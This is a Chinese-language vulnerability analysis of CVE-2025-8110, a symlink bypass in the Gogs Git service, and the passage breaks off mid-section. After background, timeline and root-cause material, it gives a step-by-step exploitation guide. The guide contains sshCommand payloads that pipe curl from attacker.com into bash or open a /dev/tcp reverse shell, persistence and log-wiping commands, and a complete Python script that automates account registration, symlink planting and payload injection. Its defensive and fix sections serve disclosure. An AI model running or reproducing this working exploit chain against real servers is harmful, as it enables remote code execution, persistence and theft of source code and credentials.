CVE-2025-8110是影响Gogs自托管Git服务的严重远程代码执行漏洞。该漏洞通过符号链接机制绕过了CVE-2024-55947的安全修复,允许经过身份验证的攻击者在目标服务器上执行任意代码。此漏洞已在野外被积极利用,造成超过700个公网暴露的Gogs实例遭到攻陷。
| 指标 | 详情 |
|---|---|
| CVE编号 | CVE-2025-8110 |
| CVSS v3.1评分 | 7.8 / 8.7(高危) |
| 攻击复杂度 | 低 |
| 所需权限 | 低(仅需仓库创建权限) |
| 用户交互 | 无 |
| 影响范围 | 机密性、完整性、可用性均为高 |
| 利用状态 | 在野外主动利用中 |
| 补丁状态 | 截至2025年12月30日无官方补丁 |
**已确认受影响系统数量:**超过700个公网实例
攻击者能力:
在服务器上执行任意系统命令
读取和修改所有Git仓库内容
窃取存储在代码中的敏感凭证
部署恶意软件和持久化后门
进行横向移动和供应链攻击
业务影响:
知识产权和源代码泄露
供应链完整性受损
合规性违规风险
声誉和客户信任损失
鉴于该漏洞的严重性和无补丁可用的现状,所有运行Gogs <= 0.13.3的组织必须立即:
禁用公开用户注册功能
限制网络访问(VPN或IP白名单)
审计所有仓库查找恶意符号链接
监控8字符随机仓库名的创建
评估迁移到Gitea的可行性
项目定位
Gogs(Go Git Service)是一个用Go语言编写的轻量级、自托管的Git服务解决方案。该项目始于2014年,旨在提供一个易于部署、资源占用少的GitHub替代方案。
使用规模
GitHub星标:超过44,000
Docker镜像下载:超过9000万次
主要用户:中小企业、开发团队、教育机构
部署场景:内网代码托管、个人Git服务器
技术栈
编程语言:Go
数据库支持:MySQL、PostgreSQL、SQLite、MSSQL、TiDB
Web框架:Macaron
Git实现:原生Git命令行调用
发现者
Wiz Research团队在调查客户工作负载上的恶意软件感染时发现了该漏洞。
发现背景
研究人员在2025年7月发现一个客户的Gogs实例上运行着名为"Supershell"的开源C2框架。进一步调查显示,这是一次针对Gogs零日漏洞的大规模攻击活动。
研究动机
响应实际安全事件
保护客户基础设施
防止更广泛的攻击传播
Gogs项目存在一系列符号链接和文件路径相关的安全漏洞:
CVE-2024-55947(2024年12月修复)
漏洞类型:路径遍历
影响版本:< 0.13.1
修复方式:添加路径验证
修复缺陷:未考虑符号链接
GitHub PR:gogs/gogs#7859
提交哈希:9a9388a
CVE-2024-56731
漏洞类型:符号链接相关漏洞
影响范围:文件操作API
CVE-2024-54148
漏洞类型:文件编辑中的远程命令执行
攻击向量:参数注入
CVE-2024-39931
漏洞类型:.git目录文件删除
影响:可导致远程命令执行
修复状态:0.13.3之前版本修复不完整
历史模式分析
这些漏洞揭示了Gogs在文件系统操作安全方面的系统性问题:
缺乏全面的路径验证机制
符号链接处理不当
修复措施不够彻底
缺少深度防御策略
符号链接(Symbolic Link)基础
符号链接是一种特殊的文件类型,包含指向另一个文件或目录的路径引用。在Unix/Linux系统中:
# 创建符号链接
ln -s /path/to/target /path/to/symlink
# 符号链接特征
ls -l symlink
# 输出:lrwxrwxrwx 1 user group 15 Dec 30 10:00 symlink -> /path/to/target
# 文件类型识别
file symlink
# 输出:symlink: symbolic link to /path/to/target
Git中的符号链接
Git原生支持符号链接,将其作为特殊对象存储:
# Git对象模式
100644 - 普通文件
100755 - 可执行文件
040000 - 目录
120000 - 符号链接
# 符号链接在Git中的存储
git ls-tree HEAD
# 120000 blob abc123def456 config_link
符号链接的内容是目标路径的字符串,而非实际文件内容。
文件系统安全挑战
符号链接在安全领域带来多种攻击向量:
目录遍历绕过:通过符号链接访问限制区域外的文件
TOCTOU竞争条件:检查时和使用时之间文件被替换为符号链接
权限提升:利用高权限进程跟随符号链接写入敏感文件
信息泄露:通过符号链接读取受保护的文件
| 日期 | 事件 | 详情 |
|---|---|---|
| 2024年12月 | CVE-2024-55947修复发布 | Gogs 0.13.1版本发布,修复路径遍历漏洞 |
| 2024年12月-2025年6月 | 漏洞开发期 | 攻击者发现CVE-2024-55947修复的绕过方法 |
| 2025年7月10日 | 首次大规模攻击 | 超过700个实例在同一时间窗口被攻陷 |
| 2025年7月15日 | 恶意软件发现 | Wiz团队在客户环境发现Supershell恶意软件 |
| 2025年7月17日 | 负责任披露 | Wiz Research向Gogs维护者报告漏洞 |
| 2025年10月30日 | 官方确认 | Gogs维护者确认漏洞存在 |
| 2025年11月1日 | 第二波攻击 | 观察到新一轮攻击活动 |
| 2025年12月1日 | 持续利用确认 | 漏洞仍在被主动利用 |
| 2025年12月10日 | 公开披露 | 漏洞细节公开,提醒社区采取行动 |
| 2025年12月30日 | 当前状态 | 仍无官方补丁,修复工作进行中 |
7月10日攻击活动特征
根据Wiz Research的分析,所有被感染的实例显示出高度一致的攻击模式:
时间集中性
所有恶意仓库在极短时间窗口内创建
表明使用了自动化攻击工具
可能是单一威胁行为者或使用相同工具集的团伙
命名模式
所有者名称:8个随机字符(如:IV79VAew)
仓库名称:8个随机字符(如:Km4zoh4s)
字符集:小写字母和数字 [a-z0-9]{8}
攻击目标选择
目标:公网暴露的Gogs实例
筛选条件:开启了公开注册功能(默认配置)
扫描方式:可能使用Shodan、Censys等互联网扫描引擎
攻击活动演进
阶段1(7月10日):初始入侵
+- 批量扫描公网Gogs实例
+- 自动注册用户账户
+- 创建恶意仓库
+- 部署符号链接
+- 注入.git/config
阶段2(7月-10月):潜伏期
+- 保持低调避免检测
+- 建立持久化机制
+- 部署Supershell C2
+- 可能进行数据窃取
阶段3(11月):再次激活
+- 第二波攻击活动
+- 可能针对新暴露的实例
+- 更新攻击载荷
阶段4(12月至今):持续利用
+- 利用公开披露前的窗口期
+- 等待补丁发布的时间差
披露到修复的延迟
从漏洞报告(7月17日)到当前(12月30日),已过去166天,但仍无补丁发布。这种延迟引发了多方面担忧:
可能原因分析:
技术复杂性
修复需要重构核心文件处理逻辑
必须确保不破坏Git符号链接的合法使用
需要全面的测试以避免新的绕过
维护资源有限
Gogs是社区驱动项目
核心维护者人手不足
缺乏专职安全响应团队
修复策略分歧
可能在多种修复方案间权衡
需要考虑向后兼容性
评估对现有功能的影响
对比行业标准:
| 严重等级 | 业界标准修复时间 | CVE-2025-8110实际 | 差距 |
|---|---|---|---|
| 严重(9.0-10.0) | 24-48小时 | N/A | N/A |
| 高危(7.0-8.9) | 7-14天 | 166天+ | 1088%+ |
| 中危(4.0-6.9) | 30-60天 | N/A | N/A |
社区反应
安全研究社区
Wiz Research发布详细技术分析
提供临时缓解措施
开发检测工具(Nuclei模板)
用户社区
寻求替代方案(迁移至Gitea)
自行实施防护措施
分享威胁情报和IoC
竞品项目
Gitea确认未受影响
强调活跃维护的重要性
Gogs漏洞响应历史
| CVE编号 | 披露日期 | 修复日期 | 响应时间 | 备注 |
|---|---|---|---|---|
| CVE-2024-55947 | 2024-12 | 2024-12 | 快速 | 修复不完整导致CVE-2025-8110 |
| CVE-2024-54148 | 2024-11 | 2024-11 | 快速 | 参数注入漏洞 |
| CVE-2024-39931 | 2024-07 | 2024-09 | 中等 | .git文件删除,修复不完整 |
| CVE-2025-8110 | 2025-07报告 | 未修复 | 166天+ | 本次分析对象 |
趋势分析:
Gogs项目在2024年下半年经历了多个安全漏洞,但CVE-2025-8110的响应时间显著长于历史平均水平,可能反映了项目维护能力的瓶颈。
受影响版本
Gogs <= 0.13.3(包括所有0.x版本)
具体包括:
0.13.3(2024年发布)
0.13.2(2024年发布)
0.13.1(包含CVE-2024-55947修复,但仍受影响)
0.13.0及更早版本
不受影响版本
截至2025年12月30日,无不受影响的Gogs版本
Gitea(Gogs分支项目)已确认不受影响
版本检测方法
# 方法1:通过Web界面
curl http://target:3000/user/login | grep -oP 'Gogs Version: \K[0-9.]+'
# 方法2:通过API(如果可用)
curl http://target:3000/api/v1/version
# 方法3:Docker镜像
docker inspect gogs/gogs:latest | grep -i version
# 方法4:二进制文件
./gogs --version
高风险场景
公网暴露的Gogs实例
风险等级:严重
受影响数量:700+已确认
攻击可能性:已被主动利用
业务影响:源代码泄露、供应链攻陷
开启公开注册的实例
风险等级:严重
攻击向量:攻击者可自行创建账户
防御难度:低
建议:立即禁用
多租户环境
风险等级:高
横向移动风险:一个用户可攻击整个系统
影响范围:所有租户的代码仓库
中等风险场景
内网Gogs实例(有外部用户访问)
风险等级:中高
攻击路径:通过VPN、跳板机等访问的外部用户
威胁类型:内部威胁、受陷账户
与CI/CD集成的实例
风险等级:中高
供应链风险:恶意代码可能进入构建流水线
影响范围:所有下游产品
低风险场景
严格内网隔离且用户可信
风险等级:低
前提:完全信任所有有权限创建仓库的用户
注意:仍需防范账户被陷
受影响实例地理分布(基于公开数据推测)
根据互联网扫描数据,Gogs实例主要分布在:
| 地区 | 估计比例 | 主要特征 |
|---|---|---|
| 亚太地区 | 40% | 中国、日本、韩国中小企业 |
| 欧洲 | 30% | 德国、法国科技创业公司 |
| 北美 | 20% | 美国开发团队、教育机构 |
| 其他 | 10% | 全球分散部署 |
行业影响分析
软件开发公司
影响程度:严重
风险:知识产权泄露、供应链投毒
案例:Wiz客户(具体行业未披露)
科技创业公司
影响程度:严重
风险:核心技术泄露、竞争力损失
特点:通常缺乏专业安全团队
教育机构
影响程度:中等
风险:学生项目泄露、研究数据暴露
特点:安全意识相对薄弱
开源项目托管
影响程度:中等
风险:项目完整性、开发者账户陷害
特点:代码本身公开,但开发者凭证敏感
企业内部开发
影响程度:严重
风险:商业秘密泄露、合规违规
特点:通常包含敏感业务逻辑
Wiz客户案例
受害组织特征:
+- 运行Gogs 0.13.x版本
+- 公网暴露(用于远程开发协作)
+- 启用公开注册功能
+- 未实施额外网络访问控制
攻击时间:2025年7月10日
发现时间:2025年7月15日(5天后)
感染指标:
+- 用户名:IV79VAew(8字符随机)
+- 仓库名:Km4zoh4s(8字符随机)
+- 创建时间:7月10日
+- 恶意软件:Supershell C2框架
攻击后果:
+- Supershell反向SSH shell建立
+- C2服务器:119.45.176[.]196
+- 持久化:.git/config sshCommand注入
+- 潜在数据泄露:所有仓库可访问
攻击规模统计
基于Wiz Research的扫描数据:
总受陷实例:700+
攻击成功率:接近100%(对于开启公开注册的实例)
攻击自动化程度:高(统一的命名模式和时间窗口)
平均检测延迟:估计数周至数月
已知清除率:低(许多管理员未意识到被攻陷)
直接供应链风险
代码完整性破坏
攻击者可修改源代码仓库
恶意代码注入到主分支
影响所有拉取该代码的下游用户
CI/CD流水线污染
修改构建脚本(Makefile、Docker
file等)
注入恶意依赖
生成包含后门的软件包
发布产物投毒
二进制文件被替换
容器镜像被篡改
软件包签名密钥可能泄露
间接供应链风险
开发者凭证泄露
Git配置中的访问令牌
SSH私钥
API密钥和数据库凭证
下游客户影响
使用被污染软件的客户面临风险
信任链断裂
潜在的法律责任
供应链攻击场景示例
场景:开源库供应链攻击
步骤1:攻击者利用CVE-2025-8110攻陷开源项目的Gogs实例
+- 获得仓库写入权限
步骤2:注入恶意代码到流行库
+- 修改核心功能文件
+- 添加后门函数
+- 提交到主分支(伪装成正常提交)
步骤3:等待自动发布流程
+- CI/CD自动构建并发布到包管理器
步骤4:下游开发者更新依赖
+- 通过npm install、pip install等获取恶意版本
步骤5:恶意代码进入生产环境
+- 影响数千个下游项目
+- 数据泄露和后门植入
+- 供应链攻击完成
数据保护法规
GDPR(欧盟通用数据保护条例)
数据泄露需在72小时内报告
可能面临罚款:最高2000万欧元或全球年营业额4%
源代码中的个人数据(邮箱、姓名等)属于个人数据
CCPA(加州消费者隐私法案)
消费者数据泄露通知义务
潜在的集体诉讼风险
行业特定法规
SOX(萨班斯法案):影响财务相关代码审计
HIPAA:医疗健康软件开发
PCI DSS:支付相关应用
知识产权风险
商业秘密泄露
专利申请前技术暴露
竞争对手获取核心算法
合同违约风险
客户合同中的安全保障条款
保密协议(NDA)违反
SLA可用性和安全性承诺
符号链接绕过机制
CVE-2025-8110的核心在于Gogs的PutContents API在文件写入时未正确处理符号链接。以下是详细的技术分析:
正常文件操作流程:
用户请求写入文件 "config.txt"
v
API接收路径: "/repos/user/repo/config.txt"
v
路径验证: 检查是否包含 ".."(CVE-2024-55947修复)
v
通过验证
v
执行写入: ioutil.WriteFile("/data/repos/user/repo/config.txt", content)
v
成功写入仓库内文件
利用符号链接的攻击流程:
攻击者创建符号链接 "evil_link" -> "../.git/config"
v
API接收路径: "/repos/user/repo/evil_link"
v
路径验证: 检查字符串 "evil_link"(不包含 "..")
v
通过验证
v
执行写入: ioutil.WriteFile("/data/repos/user/repo/evil_link", content)
v
操作系统跟随符号链接
v
实际写入: /data/repos/user/repo/../.git/config
v
等价路径: /data/repos/user/.git/config
v
成功覆写仓库外部的.git/config文件 (失败)
关键问题点:
路径验证时机错误
验证发生在符号链接解析之前
只检查了字面路径字符串
未检查目标文件的实际类型
缺少符号链接检测
// 漏洞代码(简化)
func PutContents(repoPath, userPath string, content []byte) error {
// CVE-2024-55947修复:路径验证
if strings.Contains(userPath, "..") {
return errors.New("invalid path")
}
// 问题:直接拼接并写入
fullPath := filepath.Join(repoPath, userPath)
return ioutil.WriteFile(fullPath, content, 0644)
// WriteFile会跟随符号链接!
}
操作系统级别的符号链接跟随
ioutil.WriteFile底层调用open()系统调用
默认行为是跟随符号链接
除非使用O_NOFOLLOW标志
.git/config文件结构
Git配置文件采用INI格式,包含仓库行为的关键设置:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/user/repo.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
sshCommand注入点
Git 2.10+引入了core.sshCommand配置选项,允许自定义SSH客户端命令:
[core]
sshCommand = "ssh -i /path/to/key"
恶意利用:
[core]
sshCommand = "bash -c 'curl http://attacker.com/payload.sh | bash'"
当Git执行任何SSH操作时(fetch、pull、push),会执行此命令:
# Git内部执行
GIT_SSH_COMMAND="bash -c 'curl http://attacker.com/payload.sh | bash'" git fetch
触发时机
自动触发
Cron任务执行git fetch
CI/CD流水线自动拉取
Git hooks触发
用户触发
用户手动执行git pull
克隆其他仓库时检查更新
镜像同步操作
系统触发
Gogs自身的仓库同步功能
备份脚本
监控脚本检查
PutContents API规格
端点:PUT /api/v1/repos/{owner}/{repo}/contents/{filepath}
认证:需要Bearer Token或Session Cookie
权限:仓库写入权限
Content-Type: application/json
请求体:
{
"message": "commit message",
"content": "base64编码的文件内容",
"sha": "文件的当前SHA(更新时需要)",
"branch": "目标分支(可选)"
}
响应:
200 OK - 文件成功更新
201 Created - 文件成功创建
400 Bad Request - 请求格式错误
403 Forbidden - 权限不足
404 Not Found - 仓库或文件不存在
漏洞利用请求示例
PUT /api/v1/repos/attacker/malicious/contents/evil_symlink HTTP/1.1
Host: target-gogs.com:3000
Authorization: token abc123def456
Content-Type: application/json
{
"message": "Update config",
"content": "W2NvcmVdCiAgICBzc2hDb21tYW5kID0gImJhc2ggLWMgJ2N1cmwgaHR0cDovL2F0dGFja2VyLmNvbS94IHwgYmFzaCcn"
}
Base64解码后的内容:
[core]
sshCommand = "bash -c 'curl http://attacker.com/x | bash'"
文件操作系统调用链
// Go的ioutil.WriteFile最终调用
ioutil.WriteFile(path, data, perm)
v
os.OpenFile(path, O_WRONLY|O_CREATE|O_TRUNC, perm)
v
syscall.Open(path, flags, mode)
v
[内核] open() 系统调用
v
[内核] 路径解析(path resolution)
v
[内核] 检测到符号链接
v
[内核] 读取符号链接目标
v
[内核] 递归解析目标路径
v
[内核] 打开最终目标文件
符号链接解析过程
Linux内核在路径解析时:
/data/repos/user/repo/evil_link
v
stat("/data/repos/user/repo/evil_link")
v
类型: S_IFLNK (符号链接)
v
readlink("/data/repos/user/repo/evil_link")
v
返回: "../.git/config"
v
拼接路径: /data/repos/user/repo/../.git/config
v
规范化: /data/repos/user/.git/config
v
打开实际文件
安全标志位缺失
正确的实现应使用:
// C语言示例
int fd = open(path, O_WRONLY | O_NOFOLLOW);
if (fd == -1 && errno == ELOOP) {
// 路径是符号链接,拒绝操作
return -1;
}
Go语言中:
// 方法1:使用Lstat检查
fileInfo, err := os.Lstat(path)
if err != nil {
return err
}
if fileInfo.Mode()&os.ModeSymlink != 0 {
return errors.New("symbolic links not allowed")
}
// 方法2:使用EvalSymlinks解析并验证
realPath, err := filepath.EvalSymlinks(path)
if err != nil {
return err
}
if !strings.HasPrefix(realPath, allowedDir) {
return errors.New("path outside allowed directory")
}
Git如何存储符号链接
# 创建符号链接并提交
$ ln -s ../../../etc/passwd evil_link
$ git add evil_link
$ git commit -m "Add link"
# 查看Git对象
$ git ls-tree HEAD
120000 blob 1a2b3c4d5e6f evil_link
# 查看blob内容
$ git cat-file -p 1a2b3c4d5e6f
../../../etc/passwd
# 对象类型
$ git cat-file -t 1a2b3c4d5e6f
blob
# 对象大小
$ git cat-file -s 1a2b3c4d5e6f
19
符号链接在仓库中的表示
.git/objects/1a/2b3c4d5e6f (存储目标路径字符串)
v
内容: "../../../etc/passwd"
长度: 19字节
模式: 120000 (符号链接)
检出时的处理
# Git检出符号链接
$ git checkout evil_link
# 文件系统上的结果
$ ls -l evil_link
lrwxrwxrwx 1 user group 19 Dec 30 10:00 evil_link -> ../../../etc/passwd
# 符号链接有效性
$ file evil_link
evil_link: broken symbolic link to ../../../etc/passwd
不完整的修复
CVE-2024-55947的修复(PR #7859,提交9a9388a)添加了路径验证,但未考虑符号链接:
// gogs/gogs PR #7859 修复内容(简化)
func isPathValid(path string) bool {
// 检查路径遍历
if strings.Contains(path, "..") {
return false
}
// 检查绝对路径
if strings.HasPrefix(path, "/") {
return false
}
return true
}
问题分析:
字符串级别的验证
只检查路径字符串,不检查文件系统实体
符号链接的文件名本身不包含".."
但其目标路径可以包含".."
缺少文件类型检查
// 缺失的检查
fileInfo, err := os.Lstat(fullPath) // 使用Lstat而非Stat
if err == nil && fileInfo.Mode()&os.ModeSymlink != 0 {
return errors.New("symbolic links are not allowed")
}
缺少路径规范化
// 缺失的验证
realPath, err := filepath.EvalSymlinks(fullPath)
if err != nil {
return err
}
if !strings.HasPrefix(realPath, repoPath) {
return errors.New("path outside repository")
}
根本原因:防御策略错误
错误策略:黑名单(阻止已知坏模式)
+- 阻止 ".."
+- 阻止 "/"
+- 容易被绕过
正确策略:白名单(只允许已知好模式)
+- 验证路径在允许目录内
+- 解析所有符号链接
+- 验证最终路径仍在边界内
+- 更难绕过
架构设计缺陷
API绕过Git安全机制
Git命令行工具
+- 内置安全检查
+- hooks验证
+- 受限的操作集
Gogs API
+- 直接文件系统操作
+- 绕过Git安全层
+- 更大的攻击面
缺少安全边界
应有架构:
+-----------------+
| API Layer | <-- 请求验证
+-----------------+
| Business Logic | <-- 权限检查
+-----------------+
| Security Layer | <-- 路径验证、符号链接检查
+-----------------+
| Git Layer | <-- Git操作
+-----------------+
| File System | <-- 底层I/O
+-----------------+
实际架构:
+-----------------+
| API Layer | <-- 基本验证
+-----------------+
| Business Logic | <-- 权限检查
+-----------------+
| File System | <-- 直接I/O(缺少安全层)
+-----------------+
信任边界模糊
不应信任的:
+- 用户输入的所有路径
+- 仓库中的所有文件(包括符号链接)
+- API请求参数
应该验证的:
+- 路径字符串
+- 文件类型(符号链接检测)
+- 解析后的实际路径
+- 操作权限
1. 不充分的威胁建模
CVE-2024-55947修复时未考虑:
符号链接攻击向量
文件系统特性差异
TOCTOU竞争条件
其他路径遍历变体
2. 缺少安全代码审查
修复代码未经过安全专家审查:
未进行渗透测试
未尝试绕过修复
未参考行业最佳实践
3. 测试覆盖不足
缺失的测试用例:
+- 符号链接指向上级目录
+- 符号链接指向绝对路径
+- 嵌套符号链接
+- 符号链接环
+- 权限边界测试
4. 安全响应流程问题
理想流程:
漏洞报告 -> 24h确认 -> 7天修复 -> 测试 -> 发布 -> 公告
实际流程:
漏洞报告(7/17) -> 确认(10/30, 105天) -> 修复中(12/30+, 166天+)
1. 维护资源有限
Gogs维护现状:
+- 主要维护者:2-3人
+- 社区贡献:不活跃
+- 安全团队:无专职
+- 更新频率:低
对比Gitea:
+- 核心团队:10+人
+- 活跃贡献者:100+
+- 安全响应:快速
+- 更新频率:高
2. 依赖过时的实现
技术债务:
+- 基于早期Go标准库
+- 未采用现代安全库
+- 自研实现vs成熟库
+- 向后兼容约束
3. 文档和指导不足
缺失的安全文档:
+- 安全配置指南
+- 加固检查清单
+- 威胁模型文档
+- 安全最佳实践
使用5 Whys方法:
为什么会发生CVE-2025-8110?
+- 因为PutContents API会跟随符号链接
为什么API会跟随符号链接?
+- 因为代码使用了标准的WriteFile函数
为什么不检查符号链接?
+- 因为CVE-2024-55947修复时未考虑此攻击向量
为什么修复时未考虑?
+- 因为缺少全面的威胁建模和安全审查
为什么缺少安全审查?
+- 因为项目缺乏专职安全资源和流程
根本原因:
技术层面:不安全的文件操作API使用
流程层面:缺少安全开发生命周期(SDL)
组织层面:维护资源不足,安全能力缺失
必要条件
| 条件 | 说明 | 获取难度 |
|---|---|---|
| Gogs账户 | 有效的用户账户 | 低(公开注册默认开启) |
| 仓库创建权限 | 能够创建新仓库 | 低(默认授予所有用户) |
| 网络访问 | 能够访问Gogs实例 | 低(目标暴露在公网) |
| Git客户端 | 本地Git环境 | 极低(免费工具) |
可选条件(提升成功率)
| 条件 | 说明 | 用途 |
|---|---|---|
| API访问权限 | 个人访问令牌 | 自动化攻击 |
| 目标系统信息 | 操作系统、路径等 | 精确利用 |
| 现有仓库权限 | 已有仓库的写入权限 | 隐蔽攻击 |
环境要求
攻击者环境:
+- Linux/macOS/Windows(任意操作系统)
+- Git 2.x+
+- Python 3.x / Bash(编写自动化脚本)
+- 网络连接(HTTP/HTTPS)
目标环境:
+- Gogs <= 0.13.3
+- Linux/Unix目标系统(符号链接支持)
+- 公网可访问或内网可达
+- 公开注册开启(或已有账户)
步骤1:侦察和信息收集
# 1.1 确认目标运行Gogs
curl -s http://target:3000/ | grep -i "gogs"
# 1.2 获取版本信息
curl -s http://target:3000/user/login | grep -oP 'Gogs Version: \K[0-9.]+'
# 1.3 检查注册功能
curl -s http://target:3000/user/sign_up
# 1.4 测试API可用性
curl -s http://target:3000/api/v1/version
步骤2:获取账户访问权限
# 方法A:注册新账户(如果开启)
curl -X POST http://target:3000/user/sign_up \
-d "user_name=attacker" \
-d "[email protected]" \
-d "password=SecurePass123!" \
-d "retype=SecurePass123!"
# 方法B:使用现有账户
# 登录并获取session cookie
# 方法C:生成API令牌
# 通过Web界面:Settings > Applications > Generate New Token
步骤3:创建恶意仓库
# 3.1 在本地创建Git仓库
mkdir malicious-repo
cd malicious-repo
git init
git config user.email "[email protected]"
git config user.name "Attacker"
# 3.2 创建符号链接指向.git/config
ln -s ../.git/config evil_symlink
# 3.3 添加普通文件以避免怀疑
echo "# Test Repository" > README.md
# 3.4 提交符号链接
git add evil_symlink README.md
git commit -m "Initial commit"
# 3.5 验证符号链接
ls -la evil_symlink
# 输出:lrwxrwxrwx 1 user group 14 Dec 30 10:00 evil_symlink -> ../.git/config
git ls-tree HEAD evil_symlink
# 输出:120000 blob abc123... evil_symlink
步骤4:推送到目标服务器
# 4.1 在Gogs上创建空仓库
# 通过Web界面或API创建
# 4.2 添加远程仓库
git remote add origin http://target:3000/attacker/malicious-repo.git
# 4.3 推送代码
git push -u origin master
# 4.4 验证符号链接存在于远程仓库
curl -s http://target:3000/attacker/malicious-repo/src/master/evil_symlink
步骤5:准备恶意payload
# 5.1 创建恶意.git/config内容
cat > malicious_config <<'EOF'
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
sshCommand = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
EOF
# 5.2 Base64编码
PAYLOAD=$(base64 -w 0 malicious_config)
echo $PAYLOAD
步骤6:通过API写入恶意配置
# 6.1 获取认证token(假设已登录)
TOKEN="your_api_token_here"
# 6.2 使用PutContents API写入
curl -X PUT \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"message\": \"Update configuration\",
\"content\": \"$PAYLOAD\"
}" \
http://target:3000/api/v1/repos/attacker/malicious-repo/contents/evil_symlink
# 6.3 验证写入成功
# 返回200 OK表示成功
步骤7:触发代码执行
# 7.1 设置监听器等待反向shell
nc -lvnp 4444
# 7.2 触发方式A:等待自动触发
# - Cron任务
# - CI/CD流水线
# - 用户git pull操作
# 7.2 触发方式B:社会工程学
# 诱导管理员克隆或拉取仓库
# 7.3 触发方式C:利用其他功能
# Gogs的仓库镜像、fork等功能
步骤8:后续利用
# 8.1 获得shell后
whoami # 确认权限
pwd # 当前目录
# 8.2 提权(如需要)
sudo -l
find / -perm -4000 2>/dev/null
# 8.3 持久化
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> ~/.bashrc
crontab -e
# 8.4 数据窃取
find /data/git/gogs-repositories -name "*.git" -type d
# 8.5 清理痕迹
history -c
rm ~/.bash_history
Python自动化脚本
#!/usr/bin/env python3
"""
CVE-2025-8110 自动化利用脚本
仅用于授权渗透测试
"""
import requests
import base64
import subprocess
import sys
from urllib.parse import urljoin
class GogsExploiter:
def __init__(self, target_url, callback_ip, callback_port=4444):
self.target = target_url.rstrip('/')
self.callback_ip = callback_ip
self.callback_port = callback_port
self.session = requests.Session()
self.username = None
self.token = None
def register_account(self, username, email, password):
"""注册新账户"""
print(f"[*] Registering account: {username}")
data = {
'user_name': username,
'email': email,
'password': password,
'retype': password
}
resp = self.session.post(
f"{self.target}/user/sign_up",
data=data,
allow_redirects=False
)
if resp.status_code == 302:
print(f"[+] Account registered successfully")
self.username = username
return True
else:
print(f"[-] Registration failed: {resp.status_code}")
return False
def login(self, username, password):
"""登录账户"""
print(f"[*] Logging in as {username}")
# 获取CSRF token
resp = self.session.get(f"{self.target}/user/login")
csrf = self.session.cookies.get('_csrf', '')
data = {
'user_name': username,
'password': password,
'_csrf': csrf
}
resp = self.session.post(
f"{self.target}/user/login",
data=data,
allow_redirects=False
)
if resp.status_code == 302 and 'i_like_gogs' in self.session.cookies:
print(f"[+] Login successful")
self.username = username
return True
else:
print(f"[-] Login failed")
return False
def create_malicious_repo(self, repo_name):
"""创建包含恶意符号链接的仓库"""
print(f"[*] Creating malicious repository: {repo_name}")
# 创建临时目录
import tempfile
import os
with tempfile.TemporaryDirectory() as tmpdir:
repo_path = os.path.join(tmpdir, repo_name)
os.makedirs(repo_path)
os.chdir(repo_path)
# 初始化Git仓库
subprocess.run(['git', 'init'], check=True, capture_output=True)
subprocess.run(['git', 'config', 'user.email', '[email protected]'], check=True)
subprocess.run(['git', 'config', 'user.name', 'Exploit'], check=True)
# 创建符号链接
os.symlink('../.git/config', 'evil_symlink')
# 创建普通文件
with open('README.md', 'w') as f:
f.write('# Test Repository\n')
# 提交
subprocess.run(['git', 'add', '.'], check=True, capture_output=True)
subprocess.run(['git', 'commit', '-m', 'Initial commit'], check=True, capture_output=True)
# 在Gogs上创建仓库
csrf = self.session.cookies.get('_csrf', '')
create_data = {
'uid': '1',
'repo_name': repo_name,
'description': 'Test repository',
'private': 'on',
'_csrf': csrf
}
resp = self.session.post(
f"{self.target}/repo/create",
data=create_data,
allow_redirects=False
)
if resp.status_code == 302:
print(f"[+] Repository created on server")
else:
print(f"[-] Failed to create repository: {resp.status_code}")
return False
# 推送代码
remote_url = f"{self.target}/{self.username}/{repo_name}.git"
subprocess.run(['git', 'remote', 'add', 'origin', remote_url], check=True)
# 注入凭证到URL
authenticated_url = remote_url.replace('http://', f'http://{self.username}:password@')
subprocess.run(['git', 'push', '-u', 'origin', 'master'], check=True, capture_output=True)
print(f"[+] Malicious repository pushed successfully")
return True
def inject_payload(self, repo_name):
"""注入恶意payload到.git/config"""
print(f"[*] Injecting payload via symlink")
# 构造恶意.git/config
payload = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
sshCommand = "bash -c 'bash -i >& /dev/tcp/{self.callback_ip}/{self.callback_port} 0>&1'"
"""
# Base64编码
payload_b64 = base64.b64encode(payload.encode()).decode()
# 使用API写入
api_url = f"{self.target}/api/v1/repos/{self.username}/{repo_name}/contents/evil_symlink"
headers = {
'Content-Type': 'application/json'
}
data = {
'message': 'Update configuration',
'content': payload_b64
}
resp = self.session.put(api_url, json=data, headers=headers)
if resp.status_code == 200:
print(f"[+] Payload injected successfully")
print(f"[!] Reverse shell will connect to {self.callback_ip}:{self.callback_port}")
print(f"[!] Set up listener: nc -lvnp {self.callback_port}")
return True
else:
print(f"[-] Payload injection failed: {resp.status_code}")
print(f"[-] Response: {resp.text[:200]}")
return False
def exploit(self):
"""完整利用流程"""
print("=" * 60)
print("CVE-2025-8110 Automated Exploit")
print("For authorized penetration testing only")
print("=" * 60)
# 生成随机账户名
import random
import string
username = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
email = f"{username}@test.com"
password = 'Test' + ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '!'
# 注册或登录
if not self.register_account(username, email, password):
print("[-] Exploit failed at registration")
return False
# 创建恶意仓库
repo_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
if not self.create_malicious_repo(repo_name):
print("[-] Exploit failed at repository creation")
return False
# 注入payload
if not self.inject_payload(repo_name):
print("[-] Exploit failed at payload injection")
return False
print("\n[+] Exploitation complete!")
print(f"[*] Repository: {self.target}/{username}/{repo_name}")
print(f"[*] Waiting for trigger...")
print(f"[*] Setup listener: nc -lvnp {self.callback_port}")
return True
def main():
if len(sys.argv) < 3:
print("Usage: python3 exploit.py <target_url> <callback_ip> [callback_port]")
print("Example: python3 exploit.py http://target:3000 192.168.1.100 4444")
sys.exit(1)
target = sys.argv[1]
callback_ip = sys.argv[2]
callback_port = int(sys.argv[3]) if len(sys.argv) > 3 else 4444
exploiter = GogsExploiter(target, callback_ip, callback_port)
exploiter.exploit()
if __name__ == '__main__':
main()
技巧1:多重符号链接
# 创建符号链接链
ln -s ../level1 link1
mkdir -p level1
cd level1
